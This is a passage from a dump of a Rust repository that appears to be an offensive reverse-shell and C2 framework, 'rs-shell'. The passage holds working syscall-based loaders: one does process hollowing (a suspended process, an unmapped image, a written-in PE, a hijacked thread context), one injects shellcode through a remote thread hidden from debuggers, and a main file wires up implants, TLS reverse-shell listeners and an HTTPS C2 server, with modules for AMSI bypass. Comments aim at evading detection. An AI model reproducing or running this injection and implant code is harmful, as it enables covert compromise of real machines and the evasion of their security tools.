offset_from_page.len(),\n                            NULL\n                        );\n                        if !NT_SUCCESS(status) {\n                            log::debug!(\"Error retrieving offset from the page addr: {:x}\", status);\n                            return Err(status.to_string().into());\n                        }\n\n                        log::debug!(\"Offset : {:x?}\", offset_from_page);\n                        let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());\n\n                        //println!(\"{:x?}\",temp&0x0fff);\n\n                        if (temp >> 12) == 0xA {\n                            //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset\n                            // 1&0=0  0&0=0\n                            let block_reloc_rva = base as usize\n                                + reloc.VirtualAddress as usize\n                                + (temp & 0x0fff) as usize;\n\n                            //Read the hardcoded values at the entry addr and translate to obtain the fixed addr\n                            let mut harcoded_value: [u8; 8] = [0; 8];\n                            status = syscall!(\n                                \"NtReadVirtualMemory\",\n                                GetCurrentProcess(),\n                                block_reloc_rva as *mut c_void,\n                                harcoded_value.as_mut_ptr() as *mut c_void,\n                                harcoded_value.len(),\n                                NULL\n                            );\n                            if !NT_SUCCESS(status) {\n                                log::debug!(\"Error reading hardcoded values: {:x}\", status);\n                                return Err(status.to_string().into());\n                            }\n\n                            log::debug!(\"Harcoded value at RVA : {:x?}\", harcoded_value);\n                            let fixe_addr =\n                                isize::from_ne_bytes(harcoded_value.try_into().unwrap())\n                                    + delta as isize;\n\n                            log::debug!(\"{:x?}\", fixe_addr);\n                            //Write into memory\n                            let fixed_addr_bytes = fixe_addr.to_ne_bytes();\n                            status = syscall!(\n                                \"NtWriteVirtualMemory\",\n                                GetCurrentProcess(),\n                                block_reloc_rva as *mut c_void,\n                                fixed_addr_bytes.as_ptr() as *mut c_void,\n                                8,\n                                NULL\n                            );\n                            if !NT_SUCCESS(status) {\n                                log::debug!(\n                                    \"Error writing hardcoded values into memory: {:x}\",\n                                    status\n                                );\n                                return Err(status.to_string().into());\n                            }\n                        }\n                    }\n                }\n\n                first_reloc_ptr += reloc.SizeofBlock as usize;\n            }\n        }\n\n        //Change the Read/Write memory access to Read/Write/Execute\n        let mut old_perms = PAGE_READWRITE;\n        status = syscall!(\n            \"NtProtectVirtualMemory\",\n            GetCurrentProcess(),\n            &mut base,\n            &mut img_s,\n            PAGE_EXECUTE_READWRITE,\n            &mut old_perms\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error changing memory permissions: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        let mut thread_handle: HANDLE = NULL;\n        status = syscall!(\n            \"NtCreateThreadEx\",\n            &mut thread_handle,\n            THREAD_ALL_ACCESS,\n            NULL,\n            GetCurrentProcess(),\n            (base as usize + nt_head.OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void,\n            NULL,\n            THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,\n            0 as usize,\n            0 as usize,\n            0 as usize,\n            NULL\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error creating thread: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        status = syscall!(\n            \"NtWaitForSingleObject\",\n            thread_handle,\n            0,\n            NULL as *mut _ as *mut LARGE_INTEGER\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error waiting for execution: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n        VirtualFree(base, 0, 0x00008000);\n    }\n\n    Ok(())\n}\n\nfn get_destination_base_addr(prochandle: *mut c_void) -> usize {\n    unsafe {\n        let mut process_information: PROCESS_BASIC_INFORMATION = std::mem::zeroed();\n        let process_information_class = PROCESSINFOCLASS::default();\n        syscall!(\n            \"NtQueryInformationProcess\",\n            prochandle,\n            process_information_class,\n            &mut process_information as *mut _ as *mut c_void,\n            std::mem::size_of::<PROCESS_BASIC_INFORMATION>() as u32,\n            NULL\n        );\n        let peb_image_offset = process_information.PebBaseAddress as u64 + 0x10;\n        let mut image_base_buffer = [0; std::mem::size_of::<&u8>()];\n        syscall!(\n            \"NtReadVirtualMemory\",\n            prochandle,\n            peb_image_offset as *const c_void,\n            image_base_buffer.as_mut_ptr() as *mut c_void,\n            image_base_buffer.len(),\n            NULL\n        );\n\n        log::debug!(\n            \"Image Base Addr : {:x?}\",\n            usize::from_ne_bytes(image_base_buffer)\n        );\n        return usize::from_ne_bytes(image_base_buffer);\n    }\n}\n\npub fn remote_loader_syscalls(buf: Vec<u8>, pe_to_execute: &str) -> Result<(), Box<dyn Error>> {\n    //Retrieve the sizes of the headers and the PE image in memory\n    let header_s = get_size(&buf, \"header\");\n    let mut img_s = get_size(&buf, \"image\");\n    if header_s == 0 || img_s == 0 {\n        return Err(\"Error retrieving PE sizes\".into());\n    }\n\n    let mut status: NTSTATUS;\n    let mut prochandle: HANDLE = NULL;\n    let mut threadhandle: HANDLE = NULL;\n\n    unsafe {\n        let mut full_path = \"\\\\??\\\\\".to_owned() + pe_to_execute;\n        full_path = full_path.trim().to_owned() + \"\\0\";\n\n        let mut nt_image_path: UNICODE_STRING = UNICODE_STRING::default();\n\n        // Image path in NT format\n        // https://stackoverflow.com/questions/76211265/pdhaddcounterw-no-rules-expected-this-token-in-macro-call\n        let source_string = full_path.encode_utf16().chain(once(0)).collect::<Vec<_>>();\n        RtlInitUnicodeString(&mut nt_image_path, source_string.as_ptr() as *const u16);\n\n        // Process parameters building\n        let mut process_parameters: PRTL_USER_PROCESS_PARAMETERS = std::mem::zeroed();\n        status = RtlCreateProcessParametersEx(\n            &mut process_parameters,\n            &mut nt_image_path,\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            RTL_USER_PROC_PARAMS_NORMALIZED,\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error creating process parameters: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        // PS_CREATE_INFO structure building\n        let mut create_info = PS_CREATE_INFO::default();\n        create_info.Size = std::mem::size_of::<PS_CREATE_INFO>();\n        create_info.State = PsCreateInitialState;\n\n        // Process and thread attributs building\n        let attribute_list: PPS_ATTRIBUTE_LIST = RtlAllocateHeap(\n            RtlProcessHeap(),\n            HEAP_ZERO_MEMORY,\n            std::mem::size_of::<PS_ATTRIBUTE_LIST>(),\n        ) as PPS_ATTRIBUTE_LIST;\n        attribute_list.as_mut().unwrap().TotalLength = std::mem::size_of::<PS_ATTRIBUTE_LIST>();\n        attribute_list.as_mut().unwrap().Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;\n        attribute_list.as_mut().unwrap().Attributes[0].Size = nt_image_path.Length as usize;\n        attribute_list.as_mut().unwrap().Attributes[0].u.Value = nt_image_path.Buffer as usize;\n\n        // New process startup\n        status = syscall!(\n            \"NtCreateUserProcess\",\n            &mut prochandle,\n            &mut threadhandle,\n            PROCESS_ALL_ACCESS,\n            THREAD_ALL_ACCESS,\n            NULL as *mut OBJECT_ATTRIBUTES,\n            NULL as *mut OBJECT_ATTRIBUTES,\n            0 as c_ulong,\n            THREAD_CREATE_FLAGS_CREATE_SUSPENDED as c_ulong,\n            process_parameters as *mut c_void,\n            &mut create_info,\n            attribute_list\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error creating process: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut c_void);\n        RtlDestroyProcessParameters(process_parameters);\n\n        let mut remote_base = get_destination_base_addr(prochandle) as *mut c_void;\n\n        //Set the memory access to Read/Write for the moment to avoid suspicious rwx\n        let mut base = NULL;\n        status = syscall!(\n            \"NtAllocateVirtualMemory\",\n            GetCurrentProcess(),\n            &mut base,\n            0,\n            &mut img_s,\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\n                \"Error allocating memory for the current process: {:x}\",\n                status\n            );\n        }\n        status = syscall!(\"NtUnmapViewOfSection\", prochandle, remote_base);\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error calling NtUnmapViewOfSection: {:x}\", status);\n        }\n        status = syscall!(\n            \"NtAllocateVirtualMemory\",\n            prochandle,\n            &mut remote_base,\n            0,\n            &mut img_s,\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\n                \"Error allocating memory for the remote process: {:x}\",\n                status\n            );\n        }\n\n        //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header)\n        status = syscall!(\n            \"NtWriteVirtualMemory\",\n            prochandle,\n            remote_base,\n            buf.as_ptr() as *mut c_void,\n            header_s,\n            NULL\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error writing PE headers into memory: {:x}\", status);\n        }\n\n        //Parsing locally\n        std::ptr::copy(buf.as_ptr() as *const u8, base as *mut u8, header_s);\n\n        let mut dos_head = IMAGE_DOS_HEADER::default();\n        fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess(), false);\n\n        log::debug!(\"DOS magic header : {:x?}\", dos_head.e_magic);\n        log::debug!(\n            \"Elfa new (address of the begining of the PE): {:x?}\",\n            dos_head.e_lfanew\n        );\n\n        //Retrieve the NT headers starting at the elfa new address\n        let mut nt_head: IMAGE_nt_headS64 = IMAGE_nt_headS64::default();\n        fill_structure_from_memory(\n            &mut nt_head,\n            (base as isize + dos_head.e_lfanew as isize) as *const c_void,\n            GetCurrentProcess(),\n            false,\n        );\n\n        log::debug!(\"NT headers : {:#x?}\", nt_head);\n\n        //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory\n        let mut sections: Vec<IMAGE_SECTION_HEADER> =\n            vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize];\n        for i in 0..sections.len() {\n            fill_structure_from_memory(\n                &mut sections[i],\n                (base as usize\n                    + dos_head.e_lfanew as usize\n                    + std::mem::size_of_val(&nt_head) as usize\n                    + (i * std::mem::size_of::<IMAGE_SECTION_HEADER>() as usize))\n                    as *const c_void,\n                GetCurrentProcess(),\n                false,\n            );\n            log::debug!(\n                \"Virtual addresses of sections {} is {:#x?}\",\n                string_from_array(&mut sections[i].Name.to_vec()),\n                sections[i].VirtualAddress\n            );\n\n            //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize)\n            //Write it into memory at the addr base+VA\n            let tmp: Vec<u8> = buf[sections[i].PointerToRawData as usize\n                ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)]\n                .to_vec();\n\n            status = syscall!(\n                \"NtWriteVirtualMemory\",\n                GetCurrentProcess(),\n                (base as usize + sections[i].VirtualAddress as usize) as *mut c_void,\n                tmp.as_ptr() as *mut c_void,\n                sections[i].SizeOfRawData as usize,\n                NULL\n            );\n            if !NT_SUCCESS(status) {\n                log::debug!(\n                    \"Error writing section content into memory of current process: {:x}\",\n                    status\n                );\n            }\n\n            status = syscall!(\n                \"NtWriteVirtualMemory\",\n                prochandle,\n                (remote_base as usize + sections[i].VirtualAddress as usize) as *mut c_void,\n                tmp.as_ptr() as *mut c_void,\n                sections[i].SizeOfRawData as usize,\n                NULL\n            );\n            if !NT_SUCCESS(status) {\n                log::debug!(\n                    \"Error writing section content into memory of remote process: {:x}\",\n                    status\n                );\n            }\n        }\n\n        //Retrieve the imports and fix them\n        log::debug!(\"{:?}\", nt_head.OptionalHeader);\n        if nt_head.OptionalHeader.ImportTable.Size > 0 {\n            //Data addr before loading in memory\n            let mut origin_first_thunk =\n                base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize;\n            loop {\n                //Data structure of the imported DLL\n                let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default();\n                fill_structure_from_memory(\n                    &mut image_descriptor,\n                    origin_first_thunk as *const c_void,\n                    GetCurrentProcess(),\n                    false,\n                );\n                if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 {\n                    log::debug!(\"No more import\");\n                    break;\n                } else {\n                    //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name\n                    let import_name = read_from_memory(\n                        (base as usize + image_descriptor.Name as usize) as *const c_void,\n                        GetCurrentProcess(),\n                        false,\n                    );\n                    let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8);\n                    log::debug!(\"Import DLL name : {}\", import_name);\n\n                    //Get pointer of the first thunk of data containing the data of the first imported function\n                    let mut thunk_ptr = base as usize\n                        + image_descriptor.Characteristics_or_OriginalFirstThunk as usize;\n                    let mut i = 0;\n\n                    //Parse each thunk one by one to retrieve all the imported functions\n                    loop {\n                        let mut thunk_data = MY_IMAGE_THUNK_DATA64::default();\n                        fill_structure_from_memory(\n                            &mut thunk_data,\n                            (thunk_ptr as usize) as *const c_void,\n                            GetCurrentProcess(),\n                            false,\n                        );\n                        log::debug!(\"{:x?}\", thunk_data);\n                        if thunk_data.Address == [0; 8]\n                            && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap())\n                                < 0x8000000000000000\n                        {\n                            log::debug!(\"No more data\");\n                            break;\n                        } else {\n                            //For each function, retrieve its name and its addr in memory\n                            let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap());\n                            let function_name = read_from_memory(\n                                (base as usize + offset as usize + 2) as *const c_void,\n                                GetCurrentProcess(),\n                                false,\n                            );\n                            log::debug!(\"Function : {}\", function_name);\n\n                            let function_addr = i64::to_ne_bytes(\n                                GetProcAddress(\n                                    load_dll,\n                                    function_name.as_bytes().as_ptr() as *const u8,\n                                )\n                                .unwrap() as i64,\n                            );\n\n                            //Write the function and its data in memory at its addr\n                            status = syscall!(\n                                \"NtWriteVirtualMemory\",\n                                GetCurrentProcess(),\n                                ((base as usize + image_descriptor.FirstThunk as usize) + i * 8)\n                                    as *mut c_void,\n                                function_addr.as_ptr() as *const c_void,\n                                function_addr.len(),\n                                NULL\n                            );\n                            if !NT_SUCCESS(status) {\n                                log::debug!(\n                                    \"Error writing functions' data into memory of current process: {:x}\",\n                                    status\n                                );\n                            }\n\n                            status = syscall!(\n                                \"NtWriteVirtualMemory\",\n                                prochandle,\n                                ((remote_base as usize + image_descriptor.FirstThunk as usize)\n                                    + i * 8) as *mut c_void,\n                                function_addr.as_ptr() as *const c_void,\n                                function_addr.len(),\n                                NULL\n                            );\n                            if !NT_SUCCESS(status) {\n                                log::debug!(\n                                    \"Error writing functions' data into memory of remote process: {:x}\",\n                                    status\n                                );\n                            }\n\n                            i += 1;\n                            thunk_ptr += 8;\n                        }\n                    }\n\n                    origin_first_thunk += std::mem::size_of::<IMAGE_IMPORT_DESCRIPTOR>();\n                }\n            }\n        }\n\n        //Fix base relocations in case of hardcoded values\n        if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 {\n            //Calculate the delta and retrieve the first relocation ptr\n            let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize;\n            let mut first_reloc_ptr =\n                base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize;\n\n            loop {\n                //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size)\n                let mut reloc = MY_IMAGE_BASE_RELOCATION::default();\n                fill_structure_from_memory(\n                    &mut reloc,\n                    first_reloc_ptr as *const c_void,\n                    GetCurrentProcess(),\n                    false,\n                );\n\n                if reloc.SizeofBlock == 0 {\n                    log::debug!(\"No more relocation\");\n                    break;\n                } else {\n                    log::debug!(\"Size of block : {:x?}\", reloc.SizeofBlock);\n                    log::debug!(\"Virtual addr : {:x?}\", reloc.VirtualAddress);\n\n                    //For each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA\n                    let entries = (reloc.SizeofBlock - 8) / 2;\n                    log::debug!(\"Entries : {:x?}\", entries);\n                    for i in 0..entries {\n                        let mut offset_from_page: [u8; 2] = [0; 2];\n\n                        status = syscall!(\n                            \"NtReadVirtualMemory\",\n                            GetCurrentProcess(),\n                            (first_reloc_ptr + 8 + (i * 2) as usize) as *mut c_void,\n                            offset_from_page.as_mut_ptr() as *mut c_void,\n                            offset_from_page.len(),\n                            NULL\n                        );\n                        if !NT_SUCCESS(status) {\n                            log::debug!(\"Error retrieving offset from the page addr: {:x}\", status);\n                        }\n\n                        log::debug!(\"Offset : {:x?}\", offset_from_page);\n                        let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap());\n\n                        //println!(\"{:x?}\", temp & 0x0fff);\n\n                        if (temp >> 12) == 0xA {\n                            //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset\n                            // 1&0=0  0&0=0\n                            let block_reloc_rva = base as usize\n                                + reloc.VirtualAddress as usize\n                                + (temp & 0x0fff) as usize;\n\n                            //Read the hardcoded values at the entry addr and translate to obtain the fixed addr\n                            let mut harcoded_value: [u8; 8] = [0; 8];\n                            status = syscall!(\n                                \"NtReadVirtualMemory\",\n                                GetCurrentProcess(),\n                                block_reloc_rva as *const c_void,\n                                harcoded_value.as_mut_ptr() as *mut c_void,\n                                harcoded_value.len(),\n                                NULL\n                            );\n                            if !NT_SUCCESS(status) {\n                                log::debug!(\"Error reading hardcoded values: {:x}\", status);\n                            }\n\n                            log::debug!(\"Harcoded value at RVA : {:x?}\", harcoded_value);\n                            let fixe_addr =\n                                isize::from_ne_bytes(harcoded_value.try_into().unwrap())\n                                    + delta as isize;\n\n                            log::debug!(\"{:x?}\", fixe_addr);\n                            //Write into memory\n                            let fixed_addr_bytes = fixe_addr.to_ne_bytes();\n                            status = syscall!(\n                                \"NtWriteVirtualMemory\",\n                                prochandle,\n                                block_reloc_rva as *mut c_void,\n                                fixed_addr_bytes.as_ptr() as *mut c_void,\n                                8,\n                                NULL\n                            );\n                            if !NT_SUCCESS(status) {\n                                log::debug!(\n                                    \"Error writing hardcoded values into memory: {:x}\",\n                                    status\n                                );\n                            }\n                        }\n                    }\n                }\n\n                first_reloc_ptr += reloc.SizeofBlock as usize;\n            }\n        }\n\n        //Change the Read/Write memory access to Write/Execute\n        let mut old_perms = PAGE_READWRITE;\n        status = syscall!(\n            \"NtProtectVirtualMemory\",\n            prochandle,\n            &mut remote_base,\n            &mut img_s,\n            PAGE_EXECUTE_READWRITE,\n            &mut old_perms\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error changing memory permissions: {:x}\", status);\n        }\n\n        let mut ctx = std::mem::zeroed::<windows_sys::Win32::System::Diagnostics::Debug::CONTEXT>();\n        ctx.ContextFlags = CONTEXT_INTEGER;\n        status = syscall!(\"NtGetContextThread\", threadhandle, &mut ctx);\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error getting thread context: {:x}\", status);\n        }\n        ctx.Rcx = remote_base as u64 + nt_head.OptionalHeader.AddressOfEntryPoint as u64;\n        status = syscall!(\"NtSetContextThread\", threadhandle, &mut ctx);\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error setting thread context: {:x}\", status);\n        }\n        VirtualFree(base, 0, 0x00004000);\n        status = syscall!(\"NtResumeThread\", threadhandle, NULL);\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error resuming thread: {:x}\", status);\n        }\n        CloseHandle(prochandle);\n    }\n\n    Ok(())\n}\n\npub fn shellcode_loader_syscalls(\n    mut shellcode: Vec<u8>,\n    pe_to_execute: &str,\n) -> Result<(), Box<dyn Error>> {\n    let mut full_path = \"\\\\??\\\\\".to_owned() + pe_to_execute;\n    full_path = full_path.trim().to_owned() + \"\\0\";\n\n    let mut status: NTSTATUS;\n    let mut process_handle: HANDLE = NULL;\n    let mut thread_handle: HANDLE = NULL;\n\n    unsafe {\n        let mut nt_image_path: UNICODE_STRING = UNICODE_STRING::default();\n\n        // Image path in NT format\n        // https://stackoverflow.com/questions/76211265/pdhaddcounterw-no-rules-expected-this-token-in-macro-call\n        let source_string = full_path.encode_utf16().chain(once(0)).collect::<Vec<_>>();\n        RtlInitUnicodeString(&mut nt_image_path, source_string.as_ptr() as *const u16);\n\n        // Process parameters building\n        let mut process_parameters: PRTL_USER_PROCESS_PARAMETERS = std::mem::zeroed();\n        status = RtlCreateProcessParametersEx(\n            &mut process_parameters,\n            &mut nt_image_path,\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            std::ptr::null_mut(),\n            RTL_USER_PROC_PARAMS_NORMALIZED,\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error creating process parameters : {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        // PS_CREATE_INFO structure building\n        let mut create_info = PS_CREATE_INFO::default();\n        create_info.Size = std::mem::size_of::<PS_CREATE_INFO>();\n        create_info.State = PsCreateInitialState;\n\n        // Process and thread attributs building\n        let attribute_list: PPS_ATTRIBUTE_LIST = RtlAllocateHeap(\n            RtlProcessHeap(),\n            HEAP_ZERO_MEMORY,\n            std::mem::size_of::<PS_ATTRIBUTE_LIST>(),\n        ) as PPS_ATTRIBUTE_LIST;\n        attribute_list.as_mut().unwrap().TotalLength = std::mem::size_of::<PS_ATTRIBUTE_LIST>();\n        attribute_list.as_mut().unwrap().Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;\n        attribute_list.as_mut().unwrap().Attributes[0].Size = nt_image_path.Length as usize;\n        attribute_list.as_mut().unwrap().Attributes[0].u.Value = nt_image_path.Buffer as usize;\n\n        // New process startup\n        status = syscall!(\n            \"NtCreateUserProcess\",\n            &mut process_handle,\n            &mut thread_handle,\n            PROCESS_ALL_ACCESS,\n            THREAD_ALL_ACCESS,\n            NULL as *mut OBJECT_ATTRIBUTES,\n            NULL as *mut OBJECT_ATTRIBUTES,\n            0 as c_ulong,\n            0 as c_ulong,\n            process_parameters as *mut c_void,\n            &mut create_info,\n            attribute_list\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error creating process : {:x}\", status);\n            return Err(status.to_string().into());\n        }\n\n        RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut c_void);\n        RtlDestroyProcessParameters(process_parameters);\n    }\n\n    let mut base_addr = NULL;\n\n    unsafe {\n        status = syscall!(\n            \"NtAllocateVirtualMemory\",\n            process_handle,\n            &mut base_addr,\n            0,\n            &mut shellcode.len(),\n            MEM_COMMIT | MEM_RESERVE,\n            PAGE_READWRITE\n        );\n    }\n    if !NT_SUCCESS(status) {\n        log::debug!(\n            \"Error allocating memory in the target process: {:x}\",\n            status\n        );\n        return Err(status.to_string().into());\n    }\n\n    unsafe {\n        status = syscall!(\n            \"NtWriteVirtualMemory\",\n            process_handle,\n            base_addr,\n            shellcode.as_mut_ptr() as *mut c_void,\n            shellcode.len(),\n            NULL\n        );\n    }\n    if !NT_SUCCESS(status) {\n        log::debug!(\"Error writing in the target process memory: {:x}\", status);\n        return Err(status.to_string().into());\n    }\n\n    unsafe {\n        let mut old_perms = PAGE_READWRITE;\n        status = syscall!(\n            \"NtProtectVirtualMemory\",\n            process_handle,\n            &mut base_addr,\n            &mut shellcode.len(),\n            PAGE_EXECUTE_READ,\n            &mut old_perms\n        );\n    }\n    if !NT_SUCCESS(status) {\n        log::debug!(\"Error changing memory permission: {:x}\", status);\n        return Err(status.to_string().into());\n    }\n\n    shellcode.clear();\n    shellcode.shrink_to_fit();\n\n    let mut thread_handle: HANDLE = NULL;\n    unsafe {\n        status = syscall!(\n            \"NtCreateThreadEx\",\n            &mut thread_handle,\n            THREAD_ALL_ACCESS,\n            NULL,\n            process_handle,\n            base_addr,\n            NULL,\n            THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER,\n            0 as usize,\n            0 as usize,\n            0 as usize,\n            NULL\n        );\n    }\n    if !NT_SUCCESS(status) {\n        log::debug!(\"Error starting remote thread: {:x}\", status);\n        return Err(status.to_string().into());\n    }\n\n    unsafe {\n        status = syscall!(\n            \"NtWaitForSingleObject\",\n            thread_handle,\n            0,\n            NULL as *mut _ as *mut LARGE_INTEGER\n        );\n        if !NT_SUCCESS(status) {\n            log::debug!(\"Error waiting for execution: {:x}\", status);\n            return Err(status.to_string().into());\n        }\n    }\n\n    unsafe {\n        status = syscall!(\"NtClose\", process_handle);\n    }\n    if !NT_SUCCESS(status) {\n        log::debug!(\"Closing failed: {}\", status);\n        return Err(status.to_string().into());\n    }\n\n    Ok(())\n}\n"
  },
  {
    "path": "src/main.rs",
    "content": "mod utils {\n    pub mod structures;\n    pub mod tools;\n    pub mod tools_windows;\n}\nmod tcp {\n    #[cfg_attr(target_family = \"unix\", path = \"tcp_linux_client.rs\")]\n    #[cfg_attr(target_family = \"windows\", path = \"tcp_windows_client.rs\")]\n    pub mod client;\n    pub mod tcp_server;\n}\nmod https {\n    #[cfg_attr(target_family = \"unix\", path = \"https_linux_implant.rs\")]\n    #[cfg_attr(target_family = \"windows\", path = \"https_windows_implant.rs\")]\n    pub mod https_implant;\n    pub mod https_operator;\n    pub mod https_server;\n    pub mod routes;\n}\n\nmod amsi_bypass;\nmod autopwn;\nmod loader;\nmod loader_syscalls;\n\nuse crate::https::https_implant::implant;\nuse crate::https::https_operator::operator as https_operator;\nuse crate::https::https_server::server as https_server;\nuse crate::tcp::client::client;\nuse crate::tcp::tcp_server::server as tcp_server;\nuse clap::{Arg, Command};\nuse log::LevelFilter;\nuse simple_logger::SimpleLogger;\nuse std::error::Error;\n\n#[cfg(target_family = \"windows\")]\nuse syscalls::syscall;\n\nfn main() -> Result<(), Box<dyn Error>> {\n    SimpleLogger::new()\n        .without_timestamps()\n        .with_colors(true)\n        .init()\n        .unwrap();\n    ::log::set_max_level(LevelFilter::Info);\n\n    let args = Command::new(\"rs-shell\")\n        .author(\"BlackWasp\")\n        .version(\"0.2.5\")\n        .after_help(\"In a session, type 'help' for advanced integrated commands\")\n        .arg(\n            Arg::new(\"mode\")\n                .short('m')\n                .long(\"mode\")\n                .required(true)\n                .value_parser([\n                    clap::builder::PossibleValue::new(\"tcp\"),\n                    clap::builder::PossibleValue::new(\"https\"),\n                ])\n                .help(\"communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure)\"),\n        )\n        .arg(\n            Arg::new(\"side\")\n                .short('s')\n                .long(\"side\")\n                .required(true)\n                .value_parser([\n                    clap::builder::PossibleValue::new(\"i\"),\n                    clap::builder::PossibleValue::new(\"c\"),\n                    clap::builder::PossibleValue::new(\"l\"),\n                ])\n                .help(\"launch the implant (i), the client (c) (only for HTTPS), or the listener (l)\"),\n        )\n        .arg(\n            Arg::new(\"ip\")\n                .short('i')\n                .long(\"ip\")\n                .required(true)\n                .help(\"IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants\"),\n        )\n        .arg(\n            Arg::new(\"port\")\n                .short('p')\n                .long(\"port\")\n                .required_if_eq(\"mode\", \"tcp\")\n                .help(\"port address to bind to for the TCP listener, or to connect to for the implant\"),\n        )\n        .arg(\n            Arg::new(\"cert_path\")\n                .long(\"cert-path\")\n                .required_if_eq(\"side\", \"l\")\n                .help(\"path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS\"),\n        )\n        .arg(\n            Arg::new(\"cert_pass\")\n                .long(\"cert-pass\")\n                .required_if_eq_all([\n                    (\"mode\", \"tcp\"),\n                    (\"side\", \"l\")\n                ])\n                .help(\"password of the TLS PKCS12 certificate for the TCP server\"),\n        )\n        .arg(\n            Arg::new(\"key_path\")\n                .long(\"key-path\")\n                .required_if_eq_all([\n                    (\"mode\", \"https\"),\n                    (\"side\", \"l\")\n                ])\n                .help(\"path of the TLS key for the HTTPS server\"),\n        )\n        .get_matches();\n\n    if args.get_one::<String>(\"mode\").unwrap() == \"tcp\"\n        && args.get_one::<String>(\"side\").unwrap() == \"l\"\n    {\n        match tcp_server(\n            args.get_one::<String>(\"ip\").unwrap().as_str(),\n            args.get_one::<String>(\"port\")\n                .unwrap()\n                .parse::<u16>()\n                .unwrap(),\n            args.get_one::<String>(\"cert_path\").unwrap().as_str(),\n            args.get_one::<String>(\"cert_pass\").unwrap().as_str(),\n        ) {\n            Ok(_) => (),\n            Err(r) => {\n                log::error!(\"Error starting the server : {}\", r);\n                return Err(r);\n            }\n        }\n    } else if args.get_one::<String>(\"mode\").unwrap() == \"tcp\"\n        && args.get_one::<String>(\"side\").unwrap() == \"i\"\n    {\n        match client(\n            args.get_one::<String>(\"ip\").unwrap().as_str(),\n            args.get_one::<String>(\"port\").unwrap().as_str(),\n        ) {\n            Ok(_) => (),\n            Err(r) => {\n                log::debug!(\n                    \"Error during client execution : {}. Attempt to restart it\",\n                    r\n                );\n                match client(\n                    args.get_one::<String>(\"ip\").unwrap().as_str(),\n                    args.get_one::<String>(\"port\").unwrap().as_str(),\n                ) {\n                    Ok(_) => (),\n                    Err(r) => {\n                        log::debug!(\"Error still present : {}\", r);\n                        return Err(r);\n                    }\n                }\n            }\n        }\n    } else if args.get_one::<String>(\"mode\").unwrap() == \"https\"\n        && args.get_one::<String>(\"side\").unwrap() == \"l\"\n    {\n        match https_server(\n            args.get_one::<String>(\"ip\").unwrap().as_str(),\n            args.get_one::<String>(\"cert_path\").unwrap().as_str(),\n            args.get_one::<String>(\"key_path\").unwrap().as_str(),\n        ) {\n            Ok(_) => (),\n            Err(r) => {\n                log::error!(\"Error starting the server : {}\", r);\n                return Err(Box::new(r));\n            }\n        }\n    } else if args.get_one::<String>(\"mode\").unwrap() == \"https\"\n        && args.get_one::<String>(\"side\").unwrap() == \"c\"\n    {\n        match https_operator(args.get_one::<String>(\"ip\").unwrap().as_str()) {\n            Ok(_) => (),\n            Err(r) => {\n                log::error!(\"Error starting the client : {}\", r);\n    